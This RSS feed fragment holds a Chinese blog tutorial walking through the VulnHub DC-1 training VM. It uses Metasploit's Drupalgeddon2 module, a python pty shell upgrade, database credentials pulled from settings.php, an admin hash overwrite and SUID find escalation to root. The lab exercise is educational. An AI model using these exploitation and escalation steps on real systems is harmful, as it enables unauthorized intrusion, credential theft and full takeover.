+0800</pubDate></item><item><title>Vulnhub-DC-1渗透教程</title><link>https://www.shibaolong.com/?id=1</link><description>&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;1.Vulnhub靶场概述&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;VulnHub是一个提供各类&lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;故意设计存在漏洞的虚拟机镜像&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;的靶场平台，用户可下载并在本地（如VMware、VirtualBox）运行，通过模拟真实渗透测试场景来练习漏洞挖掘与利用技能，涵盖Web渗透、提权、内网渗透等多种类型，适合网络安全初学者和从业者进行实战演练。&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;2.Vulnhub靶场之DC-1&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;DC-1 是 VulnHub 平台上专为渗透测试入门设计的经典靶机，运行着存在高危漏洞的 Drupal 7 CMS，目标是通过漏洞利用、数据库凭据提取和 SUID 提权获取全部 5 个 flag 并拿到 root 权限。&lt;/span&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;3.DC-1渗透思路&lt;/span&gt;&lt;span class=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;其核心攻击路径为：利用 &lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;Drupalgeddon2（CVE-2018-7600）&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt; 漏洞获取初始 shell，从 &lt;/span&gt;&lt;code&gt;settings.php&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 中提取数据库凭据，登录 Drupal 后台获取 flag 提示，最终利用具有 SUID 权限的 &lt;/span&gt;&lt;code&gt;find&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 命令提权至 root&lt;/span&gt;&lt;a href=&quot;https://cloud.tencent.com.cn/developer/article/2634633?policyId=1003#1&quot; target=&quot;_blank&quot; rel=&quot;noreferrer&quot; style=&quot;cursor: default;&quot;&gt;&lt;/a&gt;。&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;4.渗透步骤&lt;/span&gt;&lt;br/&gt;&lt;/h1&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p class=&quot;ds-markdown-paragraph&quot;&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;信息收集&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;：扫描目标主机端口与服务，发现 80 端口运行 Drupal 7，识别其版本存在已知漏洞。&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;ds-markdown-paragraph&quot;&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;漏洞利用&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;：利用 Drupalgeddon2 远程代码执行漏洞获取初始 shell，从配置文件 &lt;/span&gt;&lt;code&gt;settings.php&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 中提取数据库账号密码。&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;ds-markdown-paragraph&quot;&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;本地信息收集与凭据获取&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;：登录 Drupal 后台或查询数据库，获取 flag1 提示及管理员账号信息，进一步拿到 flag2、flag3。&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;ds-markdown-paragraph&quot;&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;提权与夺旗&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;：利用 SUID 权限的 &lt;/span&gt;&lt;code&gt;find&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 命令提权至 root，读取 flag4 并最终获取 root 目录下的最终 flag，完成靶机渗透。&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;4.1 信息收集&lt;/span&gt;&lt;span class=&quot;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在vmware中搭建kali系统，并且下载vulnhub实验室的DC-1的虚拟机OVA镜像，导入vmware中。修改网卡类型为nat类型。启动kali系统和DC-1系统。由于我们并不知道该系统的账户和密码，因此无法获取该系统的IP地址信息，因此需要通过kali系统进行arp扫描来获取系统IP地址信息。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;arp-scan&amp;nbsp;-l&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791382255350956.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据扫描结果，我们可以确定靶机的IP地址是172.16.1.20.既然已经知道了靶机地址，我们使用nmap进行端口探测。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;nmap&amp;nbsp;-A&amp;nbsp;-sV&amp;nbsp;-p-&amp;nbsp;172.16.1.20&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791382561660094.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据扫描结果，我们获取了到了该靶机开启的相关端口信息，其中开启了80端口和以及111/39836端口，其他端口我们无法判断具体的应用，但是80端口是http的默认端口，由此判断该靶机一定运行着一款http的web应用，我们访问80端口。&lt;/p&gt;&lt;p style=&quot;text-align:center&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791382663280628.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 845px; height: 415px;&quot; width=&quot;845&quot; height=&quot;415&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据访问结果显示，该系统部署了Drupal框架应用，我们尝试使用admin账号登录，发现登录失败，我们可以使用kali系统自带的whatweb工具对其进行扫描，探测该靶机Drupal框架版本，进一步获取相关信息。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;whatweb&amp;nbsp;-v&amp;nbsp;http://172.16.1.20&lt;/pre&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791382965928969.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791382984686113.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据扫描结果，我们获取了相当理想的信息，首先获取该靶机部署了apache的中间件，版本号2.2.22，获取了Drupal的版本是V7。我们根据获取的信息进行汇总下一步的渗透思路。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们利用MSF渗透模块进行Drupal的漏洞扫描，看看Drupal版本7在历史上曾经有哪些漏洞。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;msf&amp;nbsp;&amp;gt;&amp;nbsp;search&amp;nbsp;drupal&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383217543322.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383253363052.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 857px; height: 543px;&quot; width=&quot;857&quot; height=&quot;543&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383275501310.png&quot; alt=&quot;图片.png&quot; width=&quot;866&quot; height=&quot;359&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 866px; height: 359px;&quot;/&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383294157995.png&quot; alt=&quot;图片.png&quot; width=&quot;873&quot; height=&quot;341&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 873px; height: 341px;&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现有很多的历史漏洞，但是为了能够尽快渗透，获取flag，我们选择最新的漏洞进行渗透，也就是2018-03-28的历史漏洞进行渗透。&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;4.2 漏洞利用&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们进入该漏洞模块，命令如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;msf&amp;nbsp;&amp;gt;&amp;nbsp;use&amp;nbsp;1&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这里可以使用use 1，意思是进入查询到的第2个ID，我们还可以使用其他命令进入，命令如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;use&amp;nbsp;exploit/unix/webapp/drupal_drupalgeddon2&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先进入该漏洞利用模块，我们查询该模块使用的具体参数。&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 0em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383723414278.png&quot; alt=&quot;图片.png&quot; width=&quot;870&quot; height=&quot;451&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 870px; height: 451px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在这里我们发现了很对参数，其实我们使用的最重要就是RHOST参数，该参数是靶机的IP地址，我们需进行设置，其中80端口，模块已经为我们自动设置，我们不需要设置。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;set&amp;nbsp;RHOST&amp;nbsp;172.16.1.20&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383878196153.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 872px; height: 63px;&quot; width=&quot;872&quot; height=&quot;63&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;设置成功，类似于上图所示，然后我们使用run命令或者exploit进行渗透。&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791383976390347.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 905px; height: 301px;&quot; width=&quot;905&quot; height=&quot;301&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当出现上图所示时，我们已经监听到了靶机的内部，我们可以看到已经建立并且打开了一个session会话，我们的kali系统的4444端口正在监听靶机的56839端口，我们使用pwd可以看到我们所处的靶机目录。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791384527245649.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 918px; height: 104px;&quot; width=&quot;918&quot; height=&quot;104&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们可以看到我们进入了靶机的/var/www目录。但是这样只能运行MSF模块下面的命令，非常的不方便，由于web应用利用反向shell进入是没有bash的，那么我们可以使用python命令为靶机建立一个伪shell进行，具体命令如下：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们直接敲击shell，会进入如下图所示的界面：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791384671634837.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 905px; height: 177px;&quot; width=&quot;905&quot; height=&quot;177&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;但是我们发现是没有任何提示符或者其他的符号的，那么我们可以之间在这里进行敲python命令，如果敲错了，可以按住ctrl+back键进行退格，这里我敲击如下命令：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;python&amp;nbsp;-c&amp;nbsp;&amp;#39;import&amp;nbsp;pty;pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385118416198.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 903px; height: 85px;&quot; width=&quot;903&quot; height=&quot;85&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这样我们就进入了靶机的shell下面，但是由于该shell依然是伪shell，因此是没有像Linux系统下面那样敲击命令或者补全命令的。现在我们使用ls查看该目录下面的文件信息来进一步获取第一个flag信息。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385229893482.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 903px; height: 222px;&quot; width=&quot;903&quot; height=&quot;222&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现了flag1.txt文件，我们查看该文件内容，从而确定下一步的渗透思路和方法。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385279676429.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 909px; height: 130px;&quot; width=&quot;909&quot; height=&quot;130&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现给了我们一个小提示：一个好的CMS需要有一个好的配置文件，你也一样。既然提到了配置文件，那么我们不防看看配置文件里面又有什么样的惊喜呢！继续一下步。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先我们需要知道配置文件的存放位置，这个我们可以在互联网进行搜索关于Drupal的配置文件存放位置。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385448838841.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 606px; height: 302px;&quot; width=&quot;606&quot; height=&quot;302&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们通过百度查询，发现drupal的配置文件默认存放在sites/default/settings.php这个文件，我们根据采集的信息发现在靶机的/var/www/x下面有sites目录，我们进入这个目录查看配置文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385543908130.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 910px; height: 182px;&quot; width=&quot;910&quot; height=&quot;182&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385597141402.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 911px; height: 502px;&quot; width=&quot;911&quot; height=&quot;502&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们这次的发现可谓是收获满满，不仅获取了flag2的提示信息，我们还额外获取了数据库的登录密码和账号，我们对其账号和密码进行记录，后期能够使用到。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;数据库名称：drupaldb&amp;nbsp; 数据库账号：dbuser&amp;nbsp; &amp;nbsp;数据库密码：R0ck3t&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们等了数据库，看看内容，在确定下一步怎么走。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385847134561.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们在数据库里面发现了一个users的表，因此判断web后台的登录密码和账号一定是在这个表中，我们查询该表，获取admin对应的密码。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791385931324057.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 887px; height: 434px;&quot; width=&quot;887&quot; height=&quot;434&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们查询了数据表，但是开起来有点乱，我们发现有三列是我们最需要的，分别是uid，name，pass，我们单独查询这三列的信息，如下：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386016772877.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 905px; height: 311px;&quot; width=&quot;905&quot; height=&quot;311&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现了admin账号对应的密码是加密的，我们有很多方法可以进行暴力破解，但是为了方便和节省时间，我们查询是不是存在密码重置的脚本，一般的web应用框架都是有密码重置脚本，一般是存在scripts这样的目录下，我们查看是否存在这样的脚本目录。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386165489007.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 914px; height: 221px;&quot; width=&quot;914&quot; height=&quot;221&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现了一个名叫scripts的目录，我们进入该目录，ls查看文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386229188397.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 905px; height: 186px;&quot; width=&quot;905&quot; height=&quot;186&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现了一个password-hash的脚本，从命名看应该生成密码hash的脚本，我们查看内容，看看其使用方法。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386346553597.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 786px; height: 322px;&quot; width=&quot;786&quot; height=&quot;322&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现它使可以被php进行利用，那么我们就使用php带脚本进行密码hash的生成。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386510774151.png&quot; alt=&quot;图片.png&quot; width=&quot;798&quot; height=&quot;194&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 798px; height: 194px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们将123456的hash生成为了密码的hash，使用方法告诉我们可以手动将该hash输入到sql中进行密码重置，那么我们进行mysql中admin密码的hash替换。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386660460073.png&quot; alt=&quot;图片.png&quot; width=&quot;809&quot; height=&quot;331&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 809px; height: 331px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们已经对admin的hash替换成功，现在我们在web界面进行后台登录，查看下一步的渗透思路信息。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386731353937.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 813px; height: 337px;&quot; width=&quot;813&quot; height=&quot;337&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用替换的密码已经登录到了web后台，我浏览发现了flag3的信息。根据flag3的提示，我们将进行下一步提权。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386829171555.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386863324141.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;通过flag3的提示，其中提到了find以及Passwd和shadow等信息，因此我们判断应该是通过某个二进制来进行提权获取权限，我们进行下一步，查看有哪些用户具有root的执行权限。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791386984745799.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 837px; height: 493px;&quot; width=&quot;837&quot; height=&quot;493&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现了flag4的账号，但是我们需要root权限，在flag3里面提到了find，find作为文件查询，是具有root的运行权限，我们先查看是否有find的二进制文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791387200599466.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 788px; height: 443px;&quot; width=&quot;788&quot; height=&quot;443&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们通过查询，发现具有SUID的二进制可执行文件有find，那么我们通过find进行提权。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;&amp;nbsp;find&amp;nbsp;&amp;nbsp;/&amp;nbsp;-name&amp;nbsp;index.php&amp;nbsp;-exec&amp;nbsp;&amp;nbsp;&amp;quot;/bin/sh&amp;quot;&amp;nbsp;\;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其中index.php文件存不存在都不是很重要，因为们需要的是进入/bin/sh目录调用外部命令，关于find提取的原因是该系统被错误的为find配置了suid权限，具体的以后我们细讲，这里不做过多解释，我们现在已经通过以上命令获取了root权限。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791387608514967.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 761px; height: 233px;&quot; width=&quot;761&quot; height=&quot;233&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们现在可以查看root下面的文件有哪些，最终的flag是不是在root下面。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791387665340573.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现root目录下的thefindalflag.txt就是最终的flag，我利用cat获取内容。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791387751687406.png&quot; alt=&quot;图片.png&quot; style=&quot;width: 752px; height: 188px;&quot; width=&quot;752&quot; height=&quot;188&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们现在获取了flag1、flag2、flag3,以及thefinalflag的内容，但是还有一个flag4没有获取，我们可以使用find命令查看该flag的文件在那个目录下。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791387838752612.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现在flag4在/home/flag4/下面。我们读取该flag的值即可。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610071791387888820192.png&quot; alt=&quot;图片.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;至此吗，我们对vulnhub实验室的DC-1的系统渗透就到此结束了，我们获取了5个flag的值。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;下一篇，我们进行第二关，DC-2的渗透实验。&lt;/p&gt;</description><pubDate>Wed, 07 Oct 2026 19:02:43 +0800</pubDate></item></channel></rss>